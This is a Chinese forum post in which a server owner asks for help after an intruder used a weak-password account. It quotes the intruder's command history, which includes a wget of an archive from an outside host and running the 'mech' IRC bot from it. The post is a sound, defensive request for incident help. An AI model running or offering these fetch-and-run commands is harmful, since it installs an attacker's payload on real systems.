主机受到攻击，麻烦大家帮我看看

Ditto

是我主机上的一个小用户被人利用了，是一个叫 mp3的帐号，密码很简单，攻入者利用这个帐号做了一系列操作：

id;uname -a;w
passwd
ftp
ls -al
cd /var/tmp
ls
wget create.3x.ro/mech
tar zxfv mech
cd emech-2.8.5-linux-static/
./mech
ps -aux | grep mech
uname -a
ps -aux | grep mech
exit


他应该是安装了一个 IRC 工具，不知道对我的系统会有什么影响，或者在其他方面有什么新问题出现，麻烦高手指点一下，主机我已经关闭了
谢谢

ayazero

http://bbs.chinaunix.net/forum/viewtopic.php?t=335596